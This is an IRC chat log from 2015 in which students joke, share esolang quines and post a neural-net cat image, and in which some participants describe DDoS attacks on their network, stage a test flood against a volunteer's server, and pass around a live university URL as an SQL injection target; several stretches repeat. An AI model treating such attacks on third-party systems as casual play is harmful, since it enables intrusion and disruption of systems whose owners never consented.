[2015-03-30T20:58:16-0400] <z3t> or
[2015-03-30T20:58:21-0400] <z3t> I should stop playing dice
[2015-03-30T20:58:26-0400] <z3t> and play blackjack!
[2015-03-30T20:59:01-0400] <JacobEdelman> oh god
[2015-03-30T20:59:04-0400] <JacobEdelman> really z3t?
[2015-03-30T21:03:32-0400] <LittleBobbyTables> JacobEdelman: you have a son?
[2015-03-30T21:03:36-0400] <LittleBobbyTables> z3t: or just steal them all
[2015-03-30T21:06:44-0400] <JacobEdelman> according to JacobBot I do have a son
[2015-03-30T21:08:09-0400] <LittleBobbyTables> ?fortune
[2015-03-30T21:08:09-0400] <JacobBot> In 24 months you will fall madly in love with a gigantic fortune.
[2015-03-30T21:08:19-0400] <LittleBobbyTables> Alright, this is weird.
[2015-03-30T21:08:31-0400] <jwoglom> ?fortune
[2015-03-30T21:08:31-0400] <JacobBot> In 15 days you shall be overwelmed by an insulting fortune.
[2015-03-30T21:08:33-0400] <LittleBobbyTables> Giant student, giant stranger, gigantic fortune.
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[2015-03-30T21:20:49-0400] <z3t> ?fortune
[2015-03-30T21:20:49-0400] <JacobBot> In 13 hours you will fall madly in love with a pretty stranger.
[2015-03-30T21:20:53-0400] <z3t> ah yis
[2015-03-30T21:21:08-0400] <jwoglom> z3t: lucky you :P
[2015-03-30T21:21:39-0400] <z3t> except i'll be in my house for the next 13 hours
[2015-03-30T21:22:26-0400] <Tamini> well
[2015-03-30T21:22:33-0400] <Tamini> your reflection might turn into a pretty stranger
[2015-03-30T21:22:34-0400] <jwoglom> maybe they'll come to you? :P
[2015-03-30T21:22:36-0400] <Tamini> if you do enough drugs
[2015-03-30T21:23:06-0400] <jwoglom> can't you do like basically anything
[2015-03-30T21:23:08-0400] <jwoglom> with enough drugs
[2015-03-30T21:23:11-0400] <LittleBobbyTables> No
[2015-03-30T21:25:32-0400] <JacobEdelman> LOL
[2015-03-30T21:25:33-0400] <JacobEdelman> LOL
[2015-03-30T21:25:43-0400] <JacobEdelman> LOL
[2015-03-30T21:25:51-0400] <jwoglom> LittleBobbyTables: sounds like someone had a bad experience
[2015-03-30T21:26:18-0400] <JacobEdelman> added JacobBot's wonderful prediction to the quotedb
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[2015-03-30T21:27:47-0400] <LittleBobbyTables> shh.
[2015-03-30T21:29:05-0400] <jwoglom> JacobEdelman: but you missed the lines after it :P
[2015-03-30T21:29:25-0400] <z3t> who's the idiot making GET requests on the qdb
[2015-03-30T21:29:57-0400] <jwoglom> there appears to have been multiple idiots
[2015-03-30T21:30:27-0400] <ubuntor> probably browsed there
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[2015-03-30T21:30:59-0400] <LittleBobbyTables> There's a quotedb?
[2015-03-30T21:31:01-0400] <jwoglom> it should just ignore the quote if it starts with "HTTP/1.1 GET"
[2015-03-30T21:31:09-0400] <jwoglom> LittleBobbyTables: look in the topic, dummy
[2015-03-30T21:31:29-0400] <LittleBobbyTables> no
[2015-03-30T21:31:43-0400] <jwoglom> then don't
[2015-03-30T21:32:35-0400] <LittleBobbyTables> Fine
[2015-03-30T21:36:24-0400] <+awe> The thing I hate the most about you guys ddos-ing the network (looking back at logs) is that ajvpot TOLD YOU THAT IT WOULDN'T WORK BECAUSE INSPIRCD IS GOOD.
[2015-03-30T21:37:05-0400] <LittleBobbyTables> I don't remember this.
[2015-03-30T21:37:21-0400] <+awe> [21:59:49] <ubuntor> does riding the split work here
[2015-03-30T21:37:21-0400] <+awe> [22:00:04] <ajvpot> i dont think so
[2015-03-30T21:37:21-0400] <+awe> [22:00:09] <ajvpot> inspircd doesnt like stuff like that
[2015-03-30T21:37:35-0400] <+awe> Which for the record is 100% correct. You can't actually ride the split on InspIRCd.
[2015-03-30T21:37:43-0400] <LittleBobbyTables> Did I ever respond to that
[2015-03-30T21:37:51-0400] <+awe> You said you didn't think it would work either.
[2015-03-30T21:37:53-0400] <+awe> But you still did it.
[2015-03-30T21:37:58-0400] <LittleBobbyTables> lol
[2015-03-30T21:38:11-0400] <LittleBobbyTables> I kind of have to try things
[2015-03-30T21:38:13-0400] <+awe> Which sounds like you.
[2015-03-30T21:38:16-0400] <LittleBobbyTables> Yeah, see.
[2015-03-30T21:38:51-0400] <+awe> [22:13:33] <LittleBobbyTables> Tell him to message me his password, I'll fix it all ^_^
[2015-03-30T21:38:57-0400] <+awe> There's no passwords.
[2015-03-30T21:39:08-0400] <+awe> Well, actually, there is an oper password.
[2015-03-30T21:39:10-0400] <LittleBobbyTables> Yeah.
[2015-03-30T21:39:23-0400] <+awe> I thought you meant passwords for the server and I was like "I use SSH keys like any self-respecting sysop."
[2015-03-30T21:40:51-0400] <+awe> hardmath123: for the record, I've also been swearing a lot less in meatspace, too.
[2015-03-30T21:42:48-0400] <+awe> [22:20:19] <hardmath123> wait, so where is awe?
[2015-03-30T21:43:22-0400] <+awe> hardmath123: I'm always accessible via email. You're also free to call me if it's important.
[2015-03-30T21:45:42-0400] <+awe> [22:45:34] <hardmath123> JacobEdelman: tell awe to institute a chain of command
[2015-03-30T21:45:53-0400] <+awe> hardmath123: If there was a chain of command, it'd start with you after me.
[2015-03-30T21:46:31-0400] <+awe> Also, not going to lie, LittleBobbyTables, I could've fixed everything, but I didn't feel like downloading Prompt again.
[2015-03-30T21:52:37-0400] <LittleBobbyTables> :(
[2015-03-30T21:52:41-0400] <z3t> wait LBT dried to ddos?
[2015-03-30T21:52:46-0400] <LittleBobbyTables> successfully*
[2015-03-30T21:52:53-0400] <z3t> you get a dstat on it?
[2015-03-30T21:53:06-0400] <+awe> Tried?
[2015-03-30T21:53:15-0400] <+awe> He successfully DDOS'd it three times.
[2015-03-30T21:53:18-0400] <LittleBobbyTables> Three?
[2015-03-30T21:53:21-0400] <+awe> Twice?
[2015-03-30T21:53:21-0400] <LittleBobbyTables> I thought it was only two
[2015-03-30T21:53:25-0400] <+awe> I'm not sure.
[2015-03-30T21:53:27-0400] <+awe> I wasn't here.
[2015-03-30T21:53:32-0400] <z3t> > did you get a dsstat on it?
[2015-03-30T21:53:34-0400] <+awe> No.
[2015-03-30T21:53:34-0400] <z3t> dstat *
[2015-03-30T21:53:36-0400] <z3t> damn
[2015-03-30T21:53:38-0400] <LittleBobbyTables> uhh
[2015-03-30T21:53:42-0400] <LittleBobbyTables> 40gigs?
[2015-03-30T21:53:42-0400] <LittleBobbyTables> maybe
[2015-03-30T21:53:46-0400] <LittleBobbyTables> Let me check.
[2015-03-30T21:53:46-0400] <z3t> lolno
[2015-03-30T21:54:01-0400] <z3t> get me a dstat graph and I'll believe it 
[2015-03-30T21:54:10-0400] <+awe> He's for serious.
[2015-03-30T21:54:40-0400] <z3t> Well unless you have a dstat then I doubt it
[2015-03-30T21:55:13-0400] <LittleBobbyTables> Do you want to make a dstat?
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[2015-03-30T21:55:23-0400] <LittleBobbyTables> Not you, awe.
[2015-03-30T21:55:28-0400] <LittleBobbyTables> Unless, you want to lol
[2015-03-30T21:56:32-0400] <z3t> well let me ask this, where do you get that figure from LBT?
[2015-03-30T21:56:48-0400] <LittleBobbyTables> A previous test ran
[2015-03-30T21:56:52-0400] <LittleBobbyTables> And from memory
[2015-03-30T21:57:08-0400] <z3t> A previous test ran?
[2015-03-30T21:57:10-0400] <z3t> As in a dstat?
[2015-03-30T21:57:24-0400] <LittleBobbyTables> 40 was the peak, 20 was the average.
[2015-03-30T21:57:26-0400] <LittleBobbyTables> yeah
[2015-03-30T21:58:48-0400] <z3t> Interesting. Still have it?
[2015-03-30T21:59:24-0400] <+awe> I guess I can start a new VPS real quick to test?
[2015-03-30T21:59:30-0400] <LittleBobbyTables> If you want.
[2015-03-30T21:59:32-0400] <+awe> Sure.
[2015-03-30T21:59:34-0400] <+awe> It'll cost like 6 cents.
[2015-03-30T22:00:27-0400] <z3t> So where is this power coming from LittleBobbyTables ?
[2015-03-30T22:00:54-0400] <+awe> No comment.
[2015-03-30T22:01:41-0400] <LittleBobbyTables> ^
[2015-03-30T22:02:40-0400] <+awe> 45.55.178.197
[2015-03-30T22:02:56-0400] <+awe> Do I need to run a service or anything?
[2015-03-30T22:04:01-0400] <z3t> might need to apt-get install dstat
[2015-03-30T22:04:05-0400] <+awe> I did.
[2015-03-30T22:04:12-0400] <z3t> then do dstat -n and you should be good
[2015-03-30T22:04:16-0400] <+awe> Okay, cool.
[2015-03-30T22:04:20-0400] <+awe> LittleBobbyTables: gogogogo
[2015-03-30T22:05:12-0400] <LittleBobbyTables> ded
[2015-03-30T22:05:22-0400] <+awe> Yeah, I'm not getting any more responses lol
[2015-03-30T22:05:31-0400] <+awe> Maybe I should've set an output file, z3t?
[2015-03-30T22:05:40-0400] <z3t> err yeah maybe...
[2015-03-30T22:05:40-0400] <bob_twinkles> http://distrowatch.com/weekly.php?issue=20150330#community
[2015-03-30T22:05:46-0400] <bob_twinkles> ... so uh, ^ is a thing now
[2015-03-30T22:06:00-0400] <+awe> I think it's a joke.
[2015-03-30T22:06:33-0400] <LittleBobbyTables> Tomorrow.
[2015-03-30T22:06:38-0400] <+awe> LittleBobbyTables: can you end it so I can try again with output files?
[2015-03-30T22:07:00-0400] <LittleBobbyTables> It's done.
[2015-03-30T22:07:12-0400] <+awe> Ok.
[2015-03-30T22:07:13-0400] <+awe> Go.
[2015-03-30T22:08:14-0400] <LittleBobbyTables> I need a refresh button on this
[2015-03-30T22:08:40-0400] <z3t> output as CSV awe?
[2015-03-30T22:08:52-0400] <+awe> LittleBobbyTables: tell me when it's over.
[2015-03-30T22:09:08-0400] <LittleBobbyTables> 30 seconds.
[2015-03-30T22:11:13-0400] <JacobEdelman> Wait
[2015-03-30T22:11:22-0400] <JacobEdelman> Is hardmath123 back?
[2015-03-30T22:11:27-0400] <JacobEdelman> Where is he!
[2015-03-30T22:11:35-0400] <JacobEdelman> I demand hardmath123 !!!
[2015-03-30T22:11:41-0400] <jwoglom> @seen hardmath123 
[2015-03-30T22:11:46-0400] <jwoglom> that should be a command
[2015-03-30T22:12:11-0400] <JacobEdelman> I'll add it to Jacob not later in the week if I can
[2015-03-30T22:12:19-0400] <+awe> http://sprunge.us/CXaE
[2015-03-30T22:12:46-0400] <JacobEdelman> Well
[2015-03-30T22:12:49-0400] <JacobEdelman> Gnight all
[2015-03-30T22:14:01-0400] <+awe> LittleBobbyTables: seems like it only hit up to like 50 MB/s.
[2015-03-30T22:14:38-0400] <z3t> LOL
[2015-03-30T22:14:43-0400] <LittleBobbyTables> lel
[2015-03-30T22:14:54-0400] <z3t> < 1k botnet
[2015-03-30T22:17:12-0400] <+awe> All the cool kids are writing their own programming languages in OCaml. So, I think I should, too.
[2015-03-30T22:17:36-0400] <+awe> What do you guys think?
[2015-03-30T22:18:23-0400] <z3t> what would you call it
[2015-03-30T22:18:23-0400] <jwoglom> awecaml!
[2015-03-30T22:19:29-0400] <+awe> I don't know.
[2015-03-30T22:19:41-0400] <+awe> Honestly, the only reason why I'm not working on a programming language already is I don't know what I'd do with it.
[2015-03-30T22:31:19-0400] <alokpathy> You can give it to me.
[2015-03-30T22:31:23-0400] <alokpathy> I'd write something in it <3
[2015-03-30T22:32:33-0400] <Tamini> me too
[2015-03-30T22:32:54-0400] <Tamini> alokpathy and i'll use it to write hipster programs for each other
[2015-03-30T22:34:11-0400] <+awe> Lol, sure, but I mean I'd need to be able to do something interesting with it.
[2015-03-30T22:34:18-0400] <+awe> I don't really have an idea that I'd like to see become a language right now.
[2015-03-30T22:34:23-0400] <+awe> Maybe I should think more about it.
[2015-03-30T22:39:14-0400] <ubuntor> write a quine in it
[2015-03-30T22:46:01-0400] <LittleBobbyTables> I can write a one character quine
[2015-03-30T22:46:13-0400] <LittleBobbyTables> Q
[2015-03-30T22:46:18-0400] <LittleBobbyTables> bam
[2015-03-30T22:48:53-0400] <ubuntor> amazing
[2015-03-30T22:49:01-0400] <LittleBobbyTables> Guess what language
[2015-03-30T22:49:45-0400] <+awe> A language called quine?
[2015-03-30T22:49:50-0400] <+awe> That you just wrote?
[2015-03-30T22:49:57-0400] <LittleBobbyTables> Nope
[2015-03-30T22:49:59-0400] <+awe> With one operator Q that outputs the letter Q?
[2015-03-30T22:50:15-0400] <LittleBobbyTables> http://esolangs.org/wiki/HQ9+
[2015-03-30T22:50:28-0400] <+awe> Lol.
[2015-03-30T22:50:41-0400] <ubuntor> have you seen the one character quine for ed?
[2015-03-30T22:50:56-0400] <LittleBobbyTables> First time I stumbled upon it was because of a stackoverflow post
[2015-03-30T22:50:58-0400] <LittleBobbyTables> Where it was
[2015-03-30T22:51:09-0400] <+awe> It's especially funny because you can increment an accumulator that you can't do anything with.
[2015-03-30T22:51:26-0400] <LittleBobbyTables> essentially writing an exponential quine
[2015-03-30T22:51:38-0400] <LittleBobbyTables> So someone just wrote 9 in hq9+
[2015-03-30T22:51:51-0400] <LittleBobbyTables> which outputs 99 bottles of beer, each time outputting more and more 9's
[2015-03-30T22:51:54-0400] <LittleBobbyTables> He won that contest...
[2015-03-30T22:52:24-0400] <+awe> LittleBobbyTables: what do non-instructions do?
[2015-03-30T22:52:27-0400] <+awe> LittleBobbyTables: do they just get ignored
[2015-03-30T22:52:28-0400] <+awe> ?
[2015-03-30T22:52:34-0400] <LittleBobbyTables> Yeah
[2015-03-30T22:52:53-0400] <LittleBobbyTables> Same as Brainfuck and Whitespace.
[2015-03-30T23:08:29-0400] <LittleBobbyTables> http://esolangs.org/wiki/HQ9+
[2015-03-30T23:08:31-0400] <LittleBobbyTables> oops
[2015-03-30T23:08:33-0400] <LittleBobbyTables> http://gyazo.com/f9022a8072a27b96e8d479303c63f53d
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[2015-03-30T23:09:38-0400] <LittleBobbyTables> http://www.dotabuff.com/personality
[2015-03-30T23:09:41-0400] <LittleBobbyTables> this is great
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[2015-03-30T23:28:01-0400] <+awe> hardmath123: http://aaronweiss.us/posts/2015-03-30-meet-users-where-they-are.html (cc: JacobEdelman)
[2015-03-30T23:33:57-0400] <Tamini> heh
[2015-03-30T23:34:00-0400] <Tamini> reading your blog, it reminds me
[2015-03-30T23:34:16-0400] <Tamini> there was a really cute project you made.
[2015-03-30T23:34:44-0400] <+awe> Which one?
[2015-03-30T23:34:46-0400] <+awe> amomentoflove.org?
[2015-03-30T23:34:49-0400] <Tamini> yes
[2015-03-30T23:38:23-0400] <+awe> Yeah.
[2015-03-30T23:40:39-0400] <Tamini> That's one of the most memorable parts of hsctf
[2015-03-30T23:40:43-0400] <Tamini> for me, at least
[2015-03-30T23:42:02-0400] <+awe> Did those two things happen around the same time?
[2015-03-30T23:42:05-0400] <+awe> I don't think so?
[2015-03-30T23:42:17-0400] <+awe> Jul 16, 2013.
[2015-03-30T23:45:16-0400] <ubuntor> recon
[2015-03-30T23:45:57-0400] <+awe> Yeah, people dug it up.
[2015-03-30T23:46:51-0400] <Tamini> yeah
[2015-03-30T23:46:55-0400] <Tamini> We talked about this
[2015-03-30T23:47:00-0400] <Tamini> while I was working on awe
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[2015-03-30T23:51:13-0400] <+awe> Yeah, I should probably do something with it.
[2015-03-30T23:52:33-0400] <z3t> TIL: I'm really good at losing money.
[2015-03-30T23:52:46-0400] <+awe> Ahahaha.
[2015-03-30T23:52:50-0400] <+awe> That's a good skill to have, z3t.
[2015-03-30T23:53:07-0400] <+awe> Tamini: you know, I recently wrote someone a very emotional letter ending in a proclamation of my love. I wish I had written the link there.
[2015-03-30T23:53:24-0400] <z3t> Don't ever start gambling :(
[2015-03-30T23:54:16-0400] <Tamini> is this who i think it is? :/
[2015-03-30T23:55:21-0400] <LittleBobbyTables> I gamble.
[2015-03-30T23:55:25-0400] <LittleBobbyTables> But I win when I do it.
[2015-03-30T23:56:11-0400] <Tamini> hrh
[2015-03-30T23:56:13-0400] <Tamini> heh*
[2015-03-30T23:56:21-0400] <Tamini> my friend got into dota then gambling
[2015-03-30T23:56:24-0400] <Tamini> its a slippery slope
[2015-03-30T23:58:33-0400] <+awe> Tamini: I dunno. Is it?
[2015-03-30T23:59:15-0400] <Tamini> dota-> gambling?
[2015-03-30T23:59:19-0400] <Tamini> oh
[2015-03-30T23:59:20-0400] <Tamini> iunno
[2015-03-30T23:59:27-0400] <Tamini> is it who you told me about?
[2015-03-31T00:05:42-0400] <+awe> Iunno if I did or didn't tell you about her.
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[2015-03-31T00:53:23-0400] <z3t> ay
[2015-03-31T00:53:52-0400] <+awe> ay, z3t.
[2015-03-31T00:54:14-0400] <LittleBobbyTables> ay
[2015-03-31T01:06:52-0400] <ubuntor> ayy
[2015-03-31T01:07:00-0400] <+awe> ayyyyy
[2015-03-31T01:11:23-0400] <LittleBobbyTables> lmao
[2015-03-31T01:25:00-0400] <z3t> mfw LittleBobbyTables is still trying to find the site
[2015-03-31T01:25:06-0400] <LittleBobbyTables> shh
[2015-03-31T01:25:19-0400] <LittleBobbyTables> I'm on Spring Break
[2015-03-31T01:25:23-0400] <LittleBobbyTables> and Yale had nothing interesting
[2015-03-31T01:25:26-0400] <z3t> as am I
[2015-03-31T01:26:10-0400] <LittleBobbyTables> What else shall I do
[2015-03-31T01:27:52-0400] <z3t> here's another yale one for you to play with
[2015-03-31T01:27:54-0400] <z3t> http://opus.macmillan.yale.edu/hsp/archive.php?id=53%27
[2015-03-31T01:30:46-0400] <+awe> z3t: but $$$.
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[2015-03-31T01:48:31-0400] <z3t> someone give me an idea for a project, i'm bored :(
[2015-03-31T01:49:48-0400] <LittleBobbyTables> make dirbuster in not-java
[2015-03-31T01:51:31-0400] <z3t> no! java for everything!
[2015-03-31T01:52:51-0400] <LittleBobbyTables> how do you even find these sites
[2015-03-31T01:53:00-0400] <LittleBobbyTables> do you just go around putting a quote in everything lol
[2015-03-31T01:54:56-0400] <z3t> wot
[2015-03-31T01:55:49-0400] <z3t> oh the SQLi sites?
[2015-03-31T01:56:08-0400] <LittleBobbyTables> ye
[2015-03-31T01:56:15-0400] <z3t> by the power of google
[2015-03-31T04:06:32-0400] <z3t> imma go sleep, gn all.
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[2015-03-31T06:37:17-0400] <JacobEdelman> gmorning all
[2015-03-31T06:38:34-0400] <JacobEdelman> ah, the quotedb is hilarious 
[2015-03-31T06:46:19-0400] <nickthename> JacobEdelman: I really like the random GET requests
[2015-03-31T06:47:36-0400] <JacobEdelman> they arn't me!!
[2015-03-31T06:47:38-0400] <JacobEdelman> for once
[2015-03-31T06:47:47-0400] <JacobEdelman> I think they were LBT or z3t 
[2015-03-31T06:48:47-0400] <JacobEdelman> since they are the most likely to troll/exploit it
[2015-03-31T10:32:22-0400] <LittleBobbyTables> Nah, get was me looking at it
[2015-03-31T10:32:27-0400] <LittleBobbyTables> Well, one of them
[2015-03-31T11:01:36-0400] <jwoglom> For those in #tjhsst, look at the channel for a shitstorm
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[2015-03-31T11:04:52-0400] <LittleBobbyTables> jwoglom: I'm banned, I can't
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[2015-03-31T00:05:42-0400] <+awe> Iunno if I did or didn't tell you about her.
[2015-03-31T00:53:23-0400] <z3t> ay
[2015-03-31T00:53:52-0400] <+awe> ay, z3t.
[2015-03-31T00:54:14-0400] <LittleBobbyTables> ay
[2015-03-31T01:06:52-0400] <ubuntor> ayy
[2015-03-31T01:07:00-0400] <+awe> ayyyyy
[2015-03-31T01:11:23-0400] <LittleBobbyTables> lmao
[2015-03-31T01:25:00-0400] <z3t> mfw LittleBobbyTables is still trying to find the site
[2015-03-31T01:25:06-0400] <LittleBobbyTables> shh
[2015-03-31T01:25:19-0400] <LittleBobbyTables> I'm on Spring Break
[2015-03-31T01:25:23-0400] <LittleBobbyTables> and Yale had nothing interesting
[2015-03-31T01:25:26-0400] <z3t> as am I
[2015-03-31T01:26:10-0400] <LittleBobbyTables> What else shall I do
[2015-03-31T01:27:52-0400] <z3t> here's another yale one for you to play with
[2015-03-31T01:27:54-0400] <z3t> http://opus.macmillan.yale.edu/hsp/archive.php?id=53%27
[2015-03-31T01:30:46-0400] <+awe> z3t: but $$$.
[2015-03-31T01:48:31-0400] <z3t> someone give me an idea for a project, i'm bored :(
[2015-03-31T01:49:48-0400] <LittleBobbyTables> make dirbuster in not-java
[2015-03-31T01:51:31-0400] <z3t> no! java for everything!
[2015-03-31T01:52:51-0400] <LittleBobbyTables> how do you even find these sites
[2015-03-31T01:53:00-0400] <LittleBobbyTables> do you just go around putting a quote in everything lol
[2015-03-31T01:54:56-0400] <z3t> wot
[2015-03-31T01:55:49-0400] <z3t> oh the SQLi sites?
[2015-03-31T01:56:08-0400] <LittleBobbyTables> ye
[2015-03-31T01:56:15-0400] <z3t> by the power of google
[2015-03-31T04:06:31-0400] <z3t> imma go sleep, gn all.
[2015-03-31T06:37:17-0400] <JacobEdelman> gmorning all
[2015-03-31T06:38:34-0400] <JacobEdelman> ah, the quotedb is hilarious 
[2015-03-31T06:46:19-0400] <nickthename> JacobEdelman: I really like the random GET requests
[2015-03-31T06:47:36-0400] <JacobEdelman> they arn't me!!
[2015-03-31T06:47:38-0400] <JacobEdelman> for once
[2015-03-31T06:47:47-0400] <JacobEdelman> I think they were LBT or z3t 
[2015-03-31T06:48:47-0400] <JacobEdelman> since they are the most likely to troll/exploit it
[2015-03-31T10:32:22-0400] <LittleBobbyTables> Nah, get was me looking at it
[2015-03-31T10:32:27-0400] <LittleBobbyTables> Well, one of them
[2015-03-31T11:01:36-0400] <jwoglom> For those in #tjhsst, look at the channel for a shitstorm
[2015-03-31T11:04:52-0400] <LittleBobbyTables> jwoglom: I'm banned, I can't
[2015-03-31T11:30:23-0400] <JacobEdelman> I am evolving a picture of a cat using image evolution and deep learning image recognition
[2015-03-31T11:30:26-0400] <JacobEdelman> current progress:
[2015-03-31T11:31:27-0400] <JacobEdelman> https://usercontent.irccloud-cdn.com/file/JdeLNRIM/temp.jpg
[2015-03-31T11:31:49-0400] <JacobEdelman> that's pretty much a cat, right?
[2015-03-31T11:37:44-0400] <JacobEdelman> https://usercontent.irccloud-cdn.com/file/V4PvtvxS/temp.jpg
[2015-03-31T11:37:47-0400] <JacobEdelman> this is a newer version
[2015-03-31T11:37:59-0400] <JacobEdelman> it has more than a 1% chance of ebing a cat
[2015-03-31T11:43:10-0400] <JacobEdelman> https://usercontent.irccloud-cdn.com/file/HD0UO3Pu/temp.jpg
[2015-03-31T11:43:15-0400] <JacobEdelman> larger than 5%
[2015-03-31T11:44:24-0400] <JacobEdelman> almost too 10%
[2015-03-31T11:44:30-0400] <JacobEdelman> I'll post another update in a while
[2015-03-31T11:44:44-0400] <JacobEdelman> cause I know yall love my cat pics
[2015-03-31T11:49:12-0400] <JacobEdelman> above 20% now
[2015-03-31T12:36:48-0400] Mode is +nt
[2015-03-31T12:37:14-0400] <+awe> JacobEdelman: update?
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[2015-03-31T13:57:18-0400] <z3t> sup kids
[2015-03-31T13:57:25-0400] <+awe> ayyyy, z3t.
[2015-03-31T13:58:13-0400] <z3t> ayyyy, awe.
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[2015-03-31T14:50:17-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-31T01:27:54-0400] <z3t> http://opus.macmillan.yale.edu/hsp/archive.php?id=53%27
[2015-03-31T01:30:46-0400] <+awe> z3t: but $$$.
[2015-03-31T01:48:31-0400] <z3t> someone give me an idea for a project, i'm bored :(
[2015-03-31T01:49:48-0400] <LittleBobbyTables> make dirbuster in not-java
[2015-03-31T01:51:31-0400] <z3t> no! java for everything!
[2015-03-31T01:52:51-0400] <LittleBobbyTables> how do you even find these sites
[2015-03-31T01:53:00-0400] <LittleBobbyTables> do you just go around putting a quote in everything lol
[2015-03-31T01:54:56-0400] <z3t> wot
[2015-03-31T01:55:49-0400] <z3t> oh the SQLi sites?
[2015-03-31T01:56:08-0400] <LittleBobbyTables> ye
[2015-03-31T01:56:15-0400] <z3t> by the power of google
[2015-03-31T04:06:31-0400] <z3t> imma go sleep, gn all.
[2015-03-31T06:37:17-0400] <JacobEdelman> gmorning all
[2015-03-31T06:38:34-0400] <JacobEdelman> ah, the quotedb is hilarious 
[2015-03-31T06:46:19-0400] <nickthename> JacobEdelman: I really like the random GET requests
[2015-03-31T06:47:36-0400] <JacobEdelman> they arn't me!!
[2015-03-31T06:47:38-0400] <JacobEdelman> for once
[2015-03-31T06:47:47-0400] <JacobEdelman> I think they were LBT or z3t 
[2015-03-31T06:48:47-0400] <JacobEdelman> since they are the most likely to troll/exploit it
[2015-03-31T10:32:22-0400] <LittleBobbyTables> Nah, get was me looking at it
[2015-03-31T10:32:27-0400] <LittleBobbyTables> Well, one of them
[2015-03-31T11:01:36-0400] <jwoglom> For those in #tjhsst, look at the channel for a shitstorm
[2015-03-31T11:04:52-0400] <LittleBobbyTables> jwoglom: I'm banned, I can't
[2015-03-31T11:30:23-0400] <JacobEdelman> I am evolving a picture of a cat using image evolution and deep learning image recognition
[2015-03-31T11:30:26-0400] <JacobEdelman> current progress:
[2015-03-31T11:31:27-0400] <JacobEdelman> https://usercontent.irccloud-cdn.com/file/JdeLNRIM/temp.jpg
[2015-03-31T11:31:49-0400] <JacobEdelman> that's pretty much a cat, right?
[2015-03-31T11:37:44-0400] <JacobEdelman> https://usercontent.irccloud-cdn.com/file/V4PvtvxS/temp.jpg
[2015-03-31T11:37:47-0400] <JacobEdelman> this is a newer version
[2015-03-31T11:37:59-0400] <JacobEdelman> it has more than a 1% chance of ebing a cat
[2015-03-31T11:43:10-0400] <JacobEdelman> https://usercontent.irccloud-cdn.com/file/HD0UO3Pu/temp.jpg
[2015-03-31T11:43:15-0400] <JacobEdelman> larger than 5%
[2015-03-31T11:44:24-0400] <JacobEdelman> almost too 10%
[2015-03-31T11:44:30-0400] <JacobEdelman> I'll post another update in a while
[2015-03-31T11:44:44-0400] <JacobEdelman> cause I know yall love my cat pics
[2015-03-31T11:49:12-0400] <JacobEdelman> above 20% now
[2015-03-31T12:37:06-0400] <+awe> JacobEdelman: update?
[2015-03-31T13:57:18-0400] <z3t> sup kids
[2015-03-31T13:57:25-0400] <+awe> ayyyy, z3t.
[2015-03-31T13:58:13-0400] <z3t> ayyyy, awe.
[2015-03-31T14:28:36-0400] <z3t> wow, some kid just tried to scam me $3...are people really that poor?
[2015-03-31T14:39:15-0400] <JacobEdelman> possibly
[2015-03-31T14:39:22-0400] <JacobEdelman> or they are just trolling
[2015-03-31T14:39:34-0400] <JacobEdelman> or they had a more elaborate scam that started with the 3
[2015-03-31T14:39:41-0400] <JacobEdelman> how'd the scam work
[2015-03-31T14:39:51-0400] <JacobEdelman> cause if it was something like; give me 5 and I'll double it
[2015-03-31T14:39:55-0400] <JacobEdelman> *3
[2015-03-31T14:40:00-0400] <JacobEdelman> than they might have done it a few times
[2015-03-31T14:40:06-0400] <JacobEdelman> got you to give them a ton
[2015-03-31T14:40:07-0400] <JacobEdelman> and ran
[2015-03-31T14:50:19-0400] Mode is +nt
[2015-03-31T14:52:09-0400] <z3t> no I was looking to buy some roots and he offered 5 for $3, which is a really good deal. I talked to him for a bit and he seemed shady so I told him I'd give him $1.50 for 2 first, and then send $1.50 again for the remaining 3. He claimed I was trying to scam him with that and insisted with me sending the full $3.00 first.
[2015-03-31T14:52:12-0400] <+awe> z3t: every $ counts.
[2015-03-31T14:54:16-0400] <z3t> he's risking an established reputation in a market for $3 awe
[2015-03-31T14:54:42-0400] <+awe> Well, do you have a reputation?
[2015-03-31T14:54:47-0400] <+awe> If not, it'd make sense that he doesn't trust you.
[2015-03-31T14:55:20-0400] <z3t> A bit yes
[2015-03-31T14:55:23-0400] <z3t> more than him
[2015-03-31T14:55:53-0400] <z3t> the point is I offered to send half first in exchange for half the product, so he was obviously trying to scam.
[2015-03-31T14:55:57-0400] <+awe> Well, maybe he really needs to get some crack right now.
[2015-03-31T14:56:30-0400] <z3t> heh
[2015-03-31T15:26:09-0400] <JacobEdelman> awe: my vast wealth of knowledge gained from reading news articles and watching super hero tv shows leads me to believe that 3 dollars will buy you almost no crack
[2015-03-31T15:26:24-0400] <+awe> Crack is really cheap.
[2015-03-31T15:26:26-0400] <apothy> wat
[2015-03-31T15:26:31-0400] <JacobEdelman> ...
[2015-03-31T15:26:43-0400] <+awe> The size of a crack rock can vary, but generally ranges from 1/10 to 1/2 gram. Rocks can sell for as low as $3 to as high as $50, but prices generally range from $10 to $20.
[2015-03-31T15:26:55-0400] <JacobEdelman> also, last picture update (it hit about 80%)
[2015-03-31T15:27:19-0400] <JacobEdelman> https://usercontent.irccloud-cdn.com/file/cdZPGk0H/3052.svg
[2015-03-31T15:27:24-0400] <JacobEdelman> oh wait
[2015-03-31T15:27:27-0400] <JacobEdelman> well, that works
[2015-03-31T15:27:29-0400] <+awe> service unavailable
[2015-03-31T15:27:33-0400] <JacobEdelman> oh, give me a sec
[2015-03-31T15:27:45-0400] <JacobEdelman> https://usercontent.irccloud-cdn.com/file/Q6R20KBD/3052.svg
[2015-03-31T15:27:46-0400] <JacobEdelman> there
[2015-03-31T15:27:55-0400] <JacobEdelman> oh wait
[2015-03-31T15:28:08-0400] <JacobEdelman> this should work https://usercontent.irccloud-cdn.com/file/YgIFchAf/3051.svg
[2015-03-31T15:28:22-0400] <JacobEdelman> hmm.. lemme try the jpg
[2015-03-31T15:29:18-0400] <JacobEdelman> https://usercontent.irccloud-cdn.com/file/tsrJn3MW/3052.jpg
[2015-03-31T15:29:21-0400] <JacobEdelman> there
[2015-03-31T15:29:55-0400] <z3t> what exactly is that JacobEdelman ?
[2015-03-31T15:29:58-0400] <JacobEdelman> its a cat
[2015-03-31T15:30:00-0400] <JacobEdelman> well
[2015-03-31T15:30:10-0400] <JacobEdelman> the state of the art neural network is 80% sure its a cat
[2015-03-31T15:31:03-0400] <JacobEdelman> (although it might be that it assigns an 80% chance to it being a cat rather than it being one of the other 1000 objects)
[2015-03-31T15:31:06-0400] <JacobEdelman> (still, a cat)
[2015-03-31T15:31:14-0400] <JacobEdelman> does anybody see anything cat like?
[2015-03-31T15:32:07-0400] <JacobEdelman> ideas people?
